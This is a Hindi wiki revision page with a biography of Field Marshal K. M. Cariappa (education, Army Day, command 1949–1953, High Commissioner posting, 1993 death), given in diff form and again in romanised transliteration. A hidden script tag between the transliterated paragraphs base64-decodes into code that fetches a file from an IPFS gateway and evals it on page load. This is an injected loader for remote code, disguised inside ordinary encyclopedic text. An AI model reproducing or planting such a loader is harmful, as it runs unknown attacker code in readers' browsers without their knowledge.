Difference between revisions of "के. एम. करिअप्पा"

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*स्वतंत्र [[भारत]] की [[भारतीय सेना|सेना]] के प्रथम कमाण्डर इन चीफ़ '''फ़ील्ड मार्शल करिअप्पा''' का जन्म [[1899]] ई. में दक्षिण में कुर्ग के पास हुआ था।
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'''फ़ील्ड मार्शल जनरल करिअप्पा''' वह पहले भारतीय नागरिक थे, जिन्हें 'प्रथम कमाण्डर इन चीफ़' बनने का सौभाग्य प्राप्त हुआ था। करिअप्पा ने जनरल के रूप में [[15 जनवरी]], [[1949]] ई. को पद ग्रहण किया था। इसके बाद से ही 15 जनवरी को 'सेना दिवस' के रूप में मनाया जाने लगा। करिअप्पा [[भारत]] की [[राजपूत]] रेजीमेन्ट से सम्बद्ध थे। [[1953]] ई. में करिअप्पा सेवानिवृत्त हो गये थे, लेकिन फिर भी किसी न किसी रूप में उनका सहयोग [[भारतीय सेना]] को सदा प्राप्त होता रहा।
*[[मद्रास]] के प्रेसिडेंसी कॉलेज से उन्होंने शिक्षा पूरी की और प्रथम विश्वयुद्ध ([[1914]]-[[1918]] ई.) में उनका चयन सेना में हो गया।
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*योग्यता और नेतृत्व के गुणों के कारण करिअप्पा बराबर प्रगति करते गए।
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==जन्म तथा शिक्षा==
*सेना में कमीशन पाने वाले प्रथम भारतीयों में वे भी शामिल थे।
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स्वतंत्र [[भारत]] की [[भारतीय सेना|सेना]] के 'प्रथम कमाण्डर इन चीफ़', फ़ील्ड मार्शल करिअप्पा का जन्म [[1899]] ई. में दक्षिण में [[कुर्ग]] के पास हुआ था। [[मद्रास]] के प्रेसिडेंसी कॉलेज से उन्होंने अपनी शिक्षा पूरी की और प्रथम विश्वयुद्ध ([[1914]]-[[1918]] ई.) में उनका चयन सेना में हो गया।
*अनेक मोर्चों पर उन्होंने भारतीय सेना का पूरी तरह से सफल नेतृत्व किया था।
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====उपलब्धियाँ====
*स्वतंत्रता से पहले ही ब्रिटिश सरकार ने उन्हें सेना में ‘डिप्टी चीफ़ ऑफ़ जनरल स्टाफ़’ के पद पर नियुक्त कर दिया था।
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अपनी अभूतपूर्व योग्यता और नेतृत्व के गुणों के कारण करिअप्पा बराबर प्रगति करते गए और अनेक उपलब्धियों को प्राप्त किया। सेना में कमीशन पाने वाले प्रथम भारतीयों में वे भी शामिल थे। अनेक मोर्चों पर उन्होंने भारतीय सेना का पूरी तरह से सफल नेतृत्व किया था। स्वतंत्रता से पहले ही ब्रिटिश सरकार ने उन्हें सेना में 'डिप्टी चीफ़ ऑफ़ जनरल स्टाफ़' के पद पर नियुक्त कर दिया था। किसी भी भारतीय व्यक्ति के लिए यह एक बहुत बड़ा सम्मान था। भारत के स्वतंत्र होने पर [[1949]] में करिअप्पा को 'कमाण्डर इन चीफ़' बनाया गया था। इस पद पर वे [[1953]] तक रहे।
*देश के स्वतंत्र होने पर [[1949]] में उन्हें 'कमाण्डर इन चीफ़' बनाया गया था, इस पद पर वे [[1953]] तक रहे।
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==सार्वजनिक जीवन==
*सेना से सेवानिवृत्त होने पर उन्होंने आस्ट्रेलिया और न्यूजीलैण्ड में [[भारत]] के हाई-कमिश्नर के पद पर भी काम किया।
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सेना से सेवानिवृत्त होने पर उन्होंने [[ऑस्ट्रेलिया]] और न्यूजीलैण्ड में [[भारत]] के 'हाई-कमिश्नर' के पद पर भी काम किया। इस पद से सेवानिवृत्त होने पर भी करिअप्पा सार्वजनिक जीवन में सदा सक्रिय रहते थे। करिअप्पा की शिक्षा, [[खेल|खेलकूद]] व अन्य कार्यों में बहुत रुचि थी। सेवानिवृत्त सैनिकों की समस्याओं का पता लगाकर उनके निवारण के लिए वे सदा प्रयत्नशील रहते थे।
*इस पद से सेवानिवृत्त होने पर भी करिअप्पा सार्वजनिक जीवन में सदा सक्रिय रहते थे।
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====निधन====
*करिअप्पा की शिक्षा, खेलकूद व अन्य कार्यों में बहुत रुचि थी।
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करिअप्पा के सेवा के क्षेत्र में स्मरणीय योगदान के लिए [[1979]] में भारत सरकार ने उन्हें 'फ़ील्ड मार्शल' की मानद उपाधि देकर सम्मानित किया था। [[1993]] ई. में करिअप्पा का निधन हो गया।
*सेवानिवृत्त सैनिकों की समस्याओं का पता लगाकर उनके निवारण के लिए वे सदा प्रयत्नशील रहते थे।
 
*करिअप्पा के सेवा के क्षेत्र में स्मरणीय योगदान के लिए [[1979]] में भारत सरकार ने उन्हें ‘फ़ील्ड मार्शल’ की मानद उपाधि देकर सम्मानित किया था।
 
*[[1993]] ई. में करिअप्पा का निधन हो गया।
 
  
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==टीका टिप्पणी और संदर्भ==
 
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Revision as of 12:17, 2 June 2012

fild marshal janaral kariappa vah pahale bharatiy nagarik the, jinhean 'pratham kamandar in chif' banane ka saubhagy prapt hua tha. kariappa ne janaral ke roop mean 15 janavari, 1949 ee. ko pad grahan kiya tha. isake bad se hi 15 janavari ko 'sena divas' ke roop mean manaya jane laga. kariappa bharat ki rajapoot rejiment se sambaddh the. 1953 ee. mean kariappa sevanivritt ho gaye the, lekin phir bhi kisi n kisi roop mean unaka sahayog bharatiy sena ko sada prapt hota raha.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

janm tatha shiksha

svatantr bharat ki sena ke 'pratham kamandar in chif', fild marshal kariappa ka janm 1899 ee. mean dakshin mean kurg ke pas hua tha. madras ke presideansi k aaulej se unhoanne apani shiksha poori ki aur pratham vishvayuddh (1914-1918 ee.) mean unaka chayan sena mean ho gaya.

upalabdhiyaan

apani abhootapoorv yogyata aur netritv ke gunoan ke karan kariappa barabar pragati karate ge aur anek upalabdhiyoan ko prapt kiya. sena mean kamishan pane vale pratham bharatiyoan mean ve bhi shamil the. anek morchoan par unhoanne bharatiy sena ka poori tarah se saphal netritv kiya tha. svatantrata se pahale hi british sarakar ne unhean sena mean 'dipti chif aauf janaral staf' ke pad par niyukt kar diya tha. kisi bhi bharatiy vyakti ke lie yah ek bahut b da samman tha. bharat ke svatantr hone par 1949 mean kariappa ko 'kamandar in chif' banaya gaya tha. is pad par ve 1953 tak rahe.

sarvajanik jivan

sena se sevanivritt hone par unhoanne aaustreliya aur nyoojilaind mean bharat ke 'haee-kamishnar' ke pad par bhi kam kiya. is pad se sevanivritt hone par bhi kariappa sarvajanik jivan mean sada sakriy rahate the. kariappa ki shiksha, khelakood v any karyoan mean bahut ruchi thi. sevanivritt sainikoan ki samasyaoan ka pata lagakar unake nivaran ke lie ve sada prayatnashil rahate the.

nidhan

kariappa ke seva ke kshetr mean smaraniy yogadan ke lie 1979 mean bharat sarakar ne unhean 'fild marshal' ki manad upadhi dekar sammanit kiya tha. 1993 ee. mean kariappa ka nidhan ho gaya.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

sanbandhit lekh